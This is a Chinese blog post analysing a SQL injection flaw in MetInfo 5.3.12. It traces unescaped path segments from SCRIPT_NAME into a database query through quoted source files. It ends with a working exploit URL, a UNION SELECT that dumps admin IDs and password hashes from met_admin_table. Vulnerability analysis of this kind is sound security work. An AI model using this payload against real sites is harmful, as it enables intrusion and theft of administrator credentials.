IT博客汇
  • 首页
  • 精华
  • 技术
  • 设计
  • 资讯
  • 扯淡
  • 权利声明
  • 登录 注册

    MetInfo 5.3.12 注入漏洞

    没穿底裤发表于 2016-12-22 11:17:58
    love 0

    最新版尝试通过,具体的版本为5.3.12.这是一个比较老的漏洞了,不知道为什么,metinfo 还是没有修复,网上的介绍都比较简单,我这里就详细的解释一下
    \app\system\include\compatible\metv5_top.php

    //获取当前应用栏目信息
    $PHP_SELF = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
    $PHP_SELFs = explode('/', $PHP_SELF);
    print_r($PHP_SELFs);
    $query = "SELECT * FROM {$_M['table'][column]} where module!=0 and foldername = '{$PHP_SELFs[count($PHP_SELFs)-2]}' and lang='{$_M['lang']}'";
    $column = DB::get_one($query);

    这里调用了 $_SERVER[‘SCRIPT_NAME’] 去获取网站路径,但是这里有一个问题就是,路径中并没有waf 处理,可以导致一些安全问题,
    代码里面就直接 explode 函数对路径进行了切割,这里取出了倒数第二个参数,并且未经过处理就带入了 sql 语句里面,
    我们看看 这个文件的剩下的一些代码

    $met_module =  $column['module'];
    if($met_module > 1000){
        //设置SEO参数
        switch($_M['config']['met_title_type']){
            case 0:
                $webtitle = '';
                break;
            case 1:
                $webtitle = $_M['config']['met_keywords'];
                break;
            case 2:
                $webtitle = $_M['config']['met_webname'];
                break;
            case 3:
                $webtitle = $_M['config']['met_keywords'].'-'.$_M['config']['met_webname'];
        }
        $met_title = $webtitle;
     
        $met_title = $met_title?$column['name'].'-'.$met_title:$column['name'];
        $met_title = $column['ctitle'] ? $column['ctitle'] : $met_title;
        $show['description']=$column['description']?$column['description']:$_M['config']['met_description'];
        $show['keywords']=$column['keywords']?$column['keywords']:$_M['config']['met_keywords'];
            
        $met_module =  $column['module'];
     
        $classnow = $column['id'];
        $class1 = $column['id'];
        if($column['releclass']){
            $class1 = $column['bigclass'];
        }
    }else{
        if(!$class1 && !$class2 && !$class3 && !$metid){
            //$classnow = $column['id'];
            $class1 = $column['id'];
            if($column['releclass']){
                $class1 = $column['bigclass'];
            }       
        }
        
    }
    //设置网站根
    define('ROOTPATH', PATH_WEB);
    function is_letf_exists($left){
        global $_M;
        //$left = array('sidebar');
        $file = PATH_TEM.$left;
        if(file_exists($file.'.php')||file_exists($file.'.html')){
            return true;
        }
        return false;
    }
    //把$_M数组,DB转换成旧系统变量写法
    foreach($_M['config'] as $key => $val){
        $$key=$val;
    }
    foreach($_M['table'] as $key => $val){
        $k="met_{$key}";
        $$k=$val;
    }
    foreach($_M['word'] as $key => $val){
        $k="lang_{$key}";
        $$k=$val;
    }
     
    $lang=$_M['lang'];
     
    $db = new DB();
     
    //global $index_url,$lang_home,$nav_list,$nav_list2,$nav_list3,$navdown,$lang;
     
    //页面模板参数设置
    $met_chtmtype=".".$met_htmtype;
    $met_htmtype=($lang==$met_index_type)?".".$met_htmtype:"_".$lang.".".$met_htmtype;
    $langmark='lang='.$_M['lang'];
     
    $met_langadmin=$_M['langlist']['admin'];
     
    $met_langok=$_M['langlist']['web'];
     
    $index_url=$_M['langlist']['web'][$_M['lang']]['met_weburl'];
     
    $m_now_year = date('Y');
     
    $member_index_url="index.php?lang=".$lang;
    $member_register_url="register_include.php?lang=".$lang;
     
    //2.0
    $index_c_url=$met_index_url[cn];
    $index_e_url=$met_index_url[en];
    $index_o_url=$met_index_url[other];
     
    //2.0
    $searchurl           =$met_weburl."search/search.php?lang=".$lang;
    $file_basicname      =PATH_WEB."lang/language_".$lang.".ini";
    $file_name           =PATH_WEB."templates/".$met_skin_user."/lang/language_".$lang.".ini";
    $str="";
    //
    //语言数组设置
    foreach($met_langok as $key=>$val){
        $indexmark=($val[mark]==$met_index_type)?"index.":"index_".$val[mark].".";
        $val[met_weburl]=$val[met_weburl]<>""?$val[met_weburl]:$met_weburl;
        $val[met_htmtype]=$val[met_htmtype]<>""?$val[met_htmtype]:$met_htmtype;
        if($val[useok]){
            $met_index_url[$val[mark]]=$val[met_webhtm]?$val[met_weburl].$indexmark.$val[met_htmtype]:$val[met_weburl]."index.php?lang=".$val[mark];
            if($val[met_webhtm]==3)$met_index_url[$val['mark']] = $val['met_weburl'].'index-'.$val['mark'].'.html';
            if($htmpack){
                $navurls = $index=='index'?'':'../';
                $met_index_url[$val['mark']]=$navurls.$indexmark.$val['met_htmtype'];
            }
            if($val[mark]==$met_index_type)$met_index_url[$val[mark]]=$val[met_weburl];
            if($htmpack && $val[mark]==$met_index_type){
                $met_index_url[$val[mark]]=$navurls;
            }
            if($val[link]!="")$met_index_url[$val[mark]]=$val[link];
            if(!strstr($val[flag], 'http://')){
                $navurls = $index=='index'?'':'../';
                if($index=="index"&&strstr($val[flag], '../')){
                    $met_langlogoarray=explode("../",$val[flag]);
                    $val[flag]=$met_langlogoarray[1];
                }
                if(!strstr($val[flag], 'http://')&&!strstr($val[flag], 'public/images/flag/'))$val[flag]=$navurls.'public/images/flag/'.$val[flag];
            }
            $met_langok[$val[mark]]=$val;
        }
    }
     
    $tmpincfile=PATH_WEB."templates/{$_M[config][met_skin_user]}/metinfo.inc.php";
    require $tmpincfile;
    //flash设置数组
    $met_flasharray = $_M['flashset'];
    $m_now_time     = time();
    $m_now_date     = date('Y-m-d H:i:s',$m_now_time);
    $m_now_counter  = date('Ymd',$m_now_time);
    $m_now_month    = date('Ym',$m_now_time);
    $m_now_year     = date('Y',$m_now_time);
    //公用数据处理文件与模板标签文件处理
    if($met_module && $met_module > 1000){
        require_once PATH_WEB.'include/head.php';
    }
     
    //把上面赋值的变量与数组转成全局数组
    $vars2=array_keys(get_defined_vars());
    $a2=get_defined_vars();
    foreach($vars2 as $key => $val){
        global $$val;
        $$val=$a2[$val];
    }
    //dump($_M['form']);
    //echo $metid;
    if($met_module && $met_module < 1000){
        if(isset($murlid)){
            require_once PATH_WEB.'include/htmlurl.php';
        }
        if($metid){
            global $filpy,$fmodule,$cmodule;
            require PATH_WEB."include/module.php";
        }
        if($met_module == 3){
            if(M_CLASS == 'product_show'){
                $mdname = 'product';
                $showname = 'showproduct';
                $dbname = $met_product;
                $listnum = $met_product_list;
                $imgproduct = 'product';
                require_once PATH_WEB.'/include/global/showmod.php';
                $product = $news;
                $product_list_new  = $md_list_new;
                $product_class_new = $md_class_new;
                $product_list_com  = $md_list_com;
                $product_class_com = $md_class_com;
                $product_class     = $md_class;
                $product_list      = $md_list;
                require_once PATH_WEB.'public/php/producthtml.inc.php';
            }else{
                $mdname = 'product';
                $showname = 'showproduct';
                $dbname = $met_product;
                $dbname_list = $met_product_list;
                $mdmendy = 1;
                $imgproduct = 'product';
                $class1re = '';
                require_once PATH_WEB."include/global/listmod.php";
                $product_listnow = $modlistnow;
                $product_list_new  = $md_list_new;
                $product_class_new = $md_class_new;
                $product_list_com  = $md_list_com;
                $product_class_com = $md_class_com;
                $product_class     = $md_class;
                $product_list      = $md_list;
                require_once PATH_WEB.'public/php/producthtml.inc.php';
            }
     
        }
    }
    require_once PATH_WEB."public/php/methtml.inc.php";
    if(!function_exists('rgb2hex')){
        require_once PATH_WEB."public/php/waphtml.inc.php";
        function toHex($N) {
            if ($N==NULL) return "00";
            if ($N==0) return "00";
            $N=max(0,$N);
            $N=min($N,255);
            $N=round($N);
            $string = "0123456789ABCDEF";
            $val = (($N-$N%16)/16);
            $s1 = $string{$val};
            $val = ($N%16);
            $s2 = $string{$val};
            return $s1.$s2;
        }
     
        function rgb2hex($r,$g,$b){
            return toHex($r).toHex($g).toHex($b);
        }
     
        function hex2rgb($N){
            $dou = str_split($N,2);
            return array(
                "R" => hexdec($dou[0]),
                "G" => hexdec($dou[1]),
                "B" => hexdec($dou[2])
            );
        }
    }
    //页面内容区块顶部导航处理,左侧导航调用系统时候生效,自定义无效。
    if($met_module && $met_module > 1000){
        if($class_list[$classnow]['releclass']){
            $pre_class = $class_list[$classnow]['bigclass'];
            //dump($class_list[$classnow]);
            if($class_list[$pre_class][new_windows] == 0)$class_list[$pre_class][new_windows] = '_self';
            $nav_x[name]="<a href=\"{$class_list[$pre_class][url]}\" target=\"{$class_list[$pre_class][new_windows]}\">{$class_list[$pre_class][name]}</a> > ";
        }
     
        $nav_x[name].="<a href=\"{$class_list[$classnow][url]}\" target=\"{$class_list[$classnow][new_windows]}\">{$class_list[$classnow][name]}</a>";
    }
     
    //把上面赋值的变量与数组转成全局数组
    $vars3=array_keys(get_defined_vars());
    $a3=get_defined_vars();
    foreach($vars3 as $key => $val){
        if(!isset($a2[$val])){
            global $$val;
            $$val=$a3[$val];
        }
    }
    $met_title = $_M['plugin']['para']['met_title'] ? $_M['plugin']['para']['met_title'] : $met_title;
    $show['description'] = $_M['plugin']['para']['met_description'] ? $_M['plugin']['para']['met_description'] : $show['description'];
    $show['keywords'] = $_M['plugin']['para']['met_keywords'] ? $_M['plugin']['para']['met_keywords'] : $show['keywords'];
    # This program is an open source system, commercial use, please consciously to purchase commercial license.
    # Copyright (C) MetInfo Co., Ltd. (http://www.metinfo.cn). All rights reserved.

    这里将数据库查询获取的参数写入了系统变量,并且我们看里面重要的的代码

    //公用数据处理文件与模板标签文件处理
    if($met_module && $met_module > 1000){
        require_once PATH_WEB.'include/head.php';
    }

    最后调用了一 \app\system\web\user\templates\met\head.php

    <html>
    <head>
    <meta charset="utf-8" />
    <title>{$_M['tem_data']['title']}</title>
    <meta name="renderer" content="webkit">
    <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
    <meta content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0" name="viewport" />
    <meta name="generator" content="MetInfo"  data-variable="{$_M[url][site]}|{$_M[lang]}|{$classnow}|{$id}|{$class_list[$classnow][module]}|{$_M[config][met_skin_user]}" />
    <link href="{$_M['url']['site']}favicon.ico" rel="shortcut icon" />
    <link rel="stylesheet" type="text/css" href="{$_M['url']['pub']}bootstrap/css/bootstrap.min.css" />

    这里的 data-variable=”{$_M[url][site]}|{$_M[lang]}|{$classnow}|{$id}|{$class_list[$classnow][module]}|{$_M[config][met_skin_user]}”就是
    将系统参数写入网页head头了,所以我们可以看见回显,下面只用找到一个点包含这个文件,就完成了触发了
    我们来看一个漏洞的触发点
    \member\login.php

    <?php
    # MetInfo Enterprise Content Management System 
    # Copyright (C) MetInfo Co.,Ltd (http://www.metinfo.cn). All rights reserved. 
     
    //接口
    if(@!$_GET['a'])$_GET['a']="doindex";
    @define('M_NAME', 'user');
    @define('M_MODULE', 'web');
    @define('M_CLASS', 'login');
    @define('M_ACTION', $_GET['a']);
    require_once '../app/system/entrance.php';
    # This program is an open source system, commercial use, please consciously to purchase commercial license.
    # Copyright (C) MetInfo Co., Ltd. (http://www.metinfo.cn). All rights reserved.
    ?>

    继续跟进 \app\system\entrance.php

    <?php
    # MetInfo Enterprise Content Management System 
    # Copyright (C) MetInfo Co.,Ltd (http://www.metinfo.cn). All rights reserved. 
     
    //版本号
    define ('SYS_VER', 'beta 1.101');
    define ('SYS_VER_TIME', '20150511');
     
    header("Content-type: text/html;charset=utf-8");
     
    error_reporting(E_ERROR | E_PARSE | E_CORE_ERROR |E_COMPILE_ERROR | E_USER_ERROR );
    //error_reporting(E_ALL);
    PHP_VERSION >= '5.1' && date_default_timezone_set('Asia/Shanghai');
     
    @set_time_limit(0);
     
    define('IN_MET', true);
     
    //网站根目录
    define ('PATH_WEB', substr(dirname(__FILE__),0,-10));
    //应用开发包根目录
    define ('PATH_APP', PATH_WEB."app/");
    //应用文件根目录
    define ('PATH_ALL_APP', PATH_WEB."app/app/");
    //配置文件根目录
    define ('PATH_CONFIG', PATH_WEB."config/");
    //缓存文件根目录
    define ('PATH_CACHE', PATH_WEB."cache/");
    //应用开发框架内核根目录
    define ('PATH_SYS', PATH_APP."system/");
     
    //系统类根目录
    define ('PATH_SYS_CLASS', PATH_WEB."app/system/include/class/");
    //系统方法根目录
    define ('PATH_SYS_FUNC', PATH_WEB."app/system/include/function/");
    //系统模板公用文件根目录
    define ('PATH_SYS_PUBLIC', PATH_WEB."app/system/include/public/");
    //系统模块根目录
    define ('PATH_SYS_MODULE', PATH_WEB."app/system/include/module/");
     
    if (!defined('M_TYPE')) {
        if(file_exists(PATH_APP.'app/'.M_NAME.'/')&&M_NAME){
            define('M_TYPE', 'app');
        }else{
            define('M_TYPE', 'system');
        }
    }
     
    if (!defined('M_MODULE')) {
        define ('M_MODULE', 'include');
        define ('M_CLASS', $_GET['c']);
        define ('M_ACTION', $_GET['a']);
    }
    //当前文件夹地址
    if(M_TYPE == 'system'){
        if(M_MODULE == 'include'){
            define ('PATH_OWN_FILE', PATH_APP.M_TYPE.'/'.M_MODULE.'/module/');
        }else{
            define ('PATH_OWN_FILE', PATH_APP.M_TYPE.'/'.M_MODULE.'/'.M_NAME.'/');
        }
    }else{
        define ('PATH_OWN_FILE', PATH_APP.M_TYPE.'/'.M_NAME.'/'.M_MODULE.'/');
        define ('PATH_APP_FILE', PATH_APP.M_TYPE.'/'.M_NAME.'/');
    }
     
    define ('PATH_MODULE_FILE', PATH_APP.'system'.'/'.M_MODULE.'/');
    //程序运行开始时间
    define ('TIME_SYS_START', time());
    //表单变量自动过滤
    define ('MAGIC_QUOTES_GPC', get_magic_quotes_gpc());
     
    //当前访问的主机名
    define ('HTTP_HOST', $_SERVER['HTTP_HOST']);
    //来源页面
    define('HTTP_REFERER', $_SERVER['HTTP_REFERER']);
    //脚本路径
    define ('PHP_SELF', $_SERVER['PHP_SELF']=="" ? $_SERVER['SCRIPT_NAME'] : $_SERVER['PHP_SELF']);
     
    if (!preg_match('/^[A-Za-z0-9_]+$/', M_TYPE.M_NAME.M_MODULE.M_CLASS.M_ACTION)) {
        echo 'Constants must be numbers or letters or underlined';
        die();
    }
     
    require_once PATH_SYS_CLASS.'load.class.php';
     
    load::module();
    # This program is an open source system, commercial use, please consciously to purchase commercial license.
    # Copyright (C) MetInfo Co., Ltd. (http://www.metinfo.cn). All rights reserved.
    ?>

    继续跟进 load::module() \app\system\include\class\load.class.php

        public static function module($path = '', $modulename = '', $action = '') {
            if (!$path) {
                if (!$path) $path = PATH_OWN_FILE;
                if (!$modulename) $modulename = M_CLASS;
                if (!$action) $action = M_ACTION;
                if (!$action) $action = 'doindex';
            }
            
            return self::_load_class($path, $modulename, $action);
        }

    跟进 _load_class()

    private static function _load_class($path, $classname, $action = '') {
            $classname=str_replace('.class.php', '', $classname);
            $is_myclass = 0;
            if(!self::$mclass[$classname]){
                if(file_exists($path.$classname.'.class.php')){
                    require_once $path.$classname.'.class.php';
                } else {
                    echo str_replace(PATH_WEB, '', $path).$classname.'.class.php is not exists';
                    exit;
                }
                $myclass = "my_{$classname}";
                if (file_exists($path.'myclass/'.$myclass.'.class.php')) {
                    $is_myclass = 1;
                    require_once $path.'myclass/'.$myclass.'.class.php';
                } 
            }
            if ($action) {
                if (!class_exists($classname)) {
                    die($action.' class\'s file is not exists!!!');
                }
                if(self::$mclass[$classname]){
                    $newclass = self::$mclass[$classname];
                }else{
                    if($is_myclass){
                        $newclass = new $myclass;
                    }else{
                        $newclass = new $classname;
                    }
                    self::$mclass[$classname] = $newclass;
                }
                if ($action!='new') {
                    if(substr($action, 0, 2) != 'do'){
                        die($action.' function no permission load!!!');
                    }
                    if(method_exists($newclass, $action)){
                        //var_dump($action);
                        //var_dump($newclass);
                        call_user_func(array($newclass, $action));
                    }else{
                        die($action.' function is not exists!!!');
                    }
                }
                return $newclass;
            }
            return  true;
        }

    这里的代码先就是基础的赋值这些的,最重要的是 call_user_func(array($newclass, $action)); 这行代码,里面的值我打印出来了 如下图

    call_user_func 函数可以实例化 且 调用你传入的方法,也可以传参,这里只是实例化后调用方法,我们继续
    \app\system\web\user\login.class.php

    public function doindex() {
            global $_M;
            $session = load::sys_class('session', 'new');
     
            // 如果已登录直接跳转到个人中心
            if($_M['user'])
            {
                okinfo($_M['url']['user_home']);
            }
            // 如果从其他页面过来
            if(isset($_SERVER['HTTP_REFERER']))
            {   
                // 是否从本站过来
                $referer = parse_url($_SERVER['HTTP_REFERER']);
                if($referer['host']==$_SERVER['HTTP_HOST'])
                {
                    // 来源页面保存到cookie
                    setcookie("referer",$_SERVER['HTTP_REFERER']);
                }
            }
            if($session->get("logineorrorlength")>3)$code=1;
            require_once $this->template('tem/login');
        }
    

    我们继续跟进最后一串代码 require_once $this->template(‘tem/login’);
    \app\system\web\user\class\userweb.class.php

    protected function template($path){
            global $_M;
            list($postion, $file) = explode('/',$path);
            if ($postion == 'own') {
                return PATH_OWN_FILE."templates/met/{$file}.php";
            }
            if ($postion == 'ui') {
                return PATH_SYS."include/public/ui/web/{$file}.php";
            }
            if($postion == 'tem'){
                if($_M['custom_template']['sys_content']){
                    $flag = 1;
                }else{
                    $flag = 0;
                }
                if (file_exists(PATH_TEM."user/{$file}.php")) {
                    $_M['custom_template']['sys_content'] = PATH_TEM."user/{$file}.php";
                }else{  
                    if (file_exists(PATH_SYS."web/user/templates/met/{$file}.php")) {
                        $_M['custom_template']['sys_content'] = PATH_SYS."web/user/templates/met/{$file}.php";
                    }
                }
                if($flag == 1){
                    return $_M['custom_template']['sys_content'];
                }else{
                    return $this->template('ui/compatible');
                }
                
            }           
     
        }

    最后返回了 \app\system\include\public\ui\web\compatible.php 文件的路径 , 在上面的login.class.php 的代码里完成了包含,
    \app\system\include\public\ui\web\compatible.php

    <?php
    # MetInfo Enterprise Content Management System 
    # Copyright (C) MetInfo Co.,Ltd (http://www.metinfo.cn). All rights reserved. 
     
    defined('IN_MET') or exit('No permission');
     
    /*兼容标签*/
     
    require_once PATH_WEB.'app/system/include/compatible/metv5_top.php';
    require_once $_M['custom_template']['sys_content'];
     
    # This program is an open source system, commercial use, please consciously to purchase commercial license.
    # Copyright (C) MetInfo Co., Ltd. (http://www.metinfo.cn). All rights reserved.
    ?>

    哈哈 ,这里就包含了我们最开始的漏洞点 metv5_top.php,也就是我们控制路径传入的值,就会造成注入了
    exp:

    http://127.0.0.1:82/MetInfo5.3/member/login.php/aa'UNION SELECT (select concat(admin_id,0x23,admin_pass) from met_admin_table limit 1),2,3,4,5,6,1111,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29%23/aa

    右键查看源码就可以看见结果了

    附上一个案例



沪ICP备19023445号-2号
友情链接